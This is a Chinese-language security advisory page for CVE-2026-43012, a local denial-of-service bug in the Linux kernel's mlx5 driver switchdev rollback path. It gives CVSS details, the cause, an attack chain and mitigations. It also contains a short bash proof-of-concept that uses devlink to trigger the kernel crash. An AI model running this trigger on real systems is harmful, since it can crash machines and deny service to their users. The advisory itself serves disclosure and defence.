IPBUF安全漏洞报告
English
CVE-2026-43012 CVSS 5.5 中危

CVE-2026-43012 Linux内核MLX5驱动Switchdev回滚DoS漏洞

披露日期: 2026-05-01
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43012
漏洞类型
拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelDoSMLX5Switchdev本地拒绝服务

漏洞概述

Linux内核net/mlx5驱动存在拒绝服务漏洞。当Switchdev模式初始化失败触发回滚机制时,因未正确设置回滚标志便注销网络设备,导致内核空指针引用及崩溃。本地低权限攻击者可利用此漏洞致使系统宕机。

技术细节

该漏洞位于Linux内核的mlx5驱动E-Switch管理代码中。当通过devlink工具尝试将E-Switch模式设置为switchdev时,若因内部原因(如固件参数错误)导致开启失败,驱动会执行回滚操作。然而,回滚路径在调用`mlx5e_vport_rep_unload`注销uplink netdev之前,未先设置`MLX5_PRIV_FLAGS_SWITCH_LEGACY`标志。这导致后续逻辑试图操作一个已注销或状态不一致的网络设备,最终在`net/core/dev.c`的`unregister_netdevice_many_notify`函数中触发kernel BUG,造成系统死机。

攻击链分析

STEP 1
1
攻击者获取本地系统访问权限,并确认系统使用Mellanox网卡及受影响版本的Linux内核。
STEP 2
2
攻击者利用devlink工具或调用相关内核接口,尝试将网卡E-Switch模式设置为switchdev。
STEP 3
3
由于内部错误(如固件参数不匹配),Switchdev模式初始化失败。
STEP 4
4
驱动执行回滚操作,但因逻辑错误在未设置Legacy标志的情况下注销了netdev。
STEP 5
5
内核访问无效内存地址,触发BUG并导致系统崩溃(Kernel Panic),造成拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/bin/bash # PoC for CVE-2026-43012: Trigger kernel crash via mlx5 eswitch rollback # Prerequisites: Local access, mlx5 hardware, devlink utility # Find the mlx5 device DEV=$(devlink dev | grep mlx5 | awk '{print $1}' | head -n 1) if [ -z "$DEV" ]; then echo "Target device not found." exit 1 fi echo "Attempting to trigger the vulnerability on $DEV..." # Attempt to set mode to switchdev. If the driver encounters an internal error # (e.g., QUERY_HCA_CAP failure as seen in the bug report), # the rollback logic will crash the kernel. devlink dev eswitch set $DEV mode switchdev echo "Check if the system crashed or kernel Oops occurred."

影响范围

Linux Kernel < 6.16

防御指南

临时缓解措施
建议立即更新Linux内核以修复此逻辑错误。若无法立即更新,可暂时限制对devlink命令的使用权限,或者在不需要SR-IOV和Switchdev功能的情况下禁用相关内核模块。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表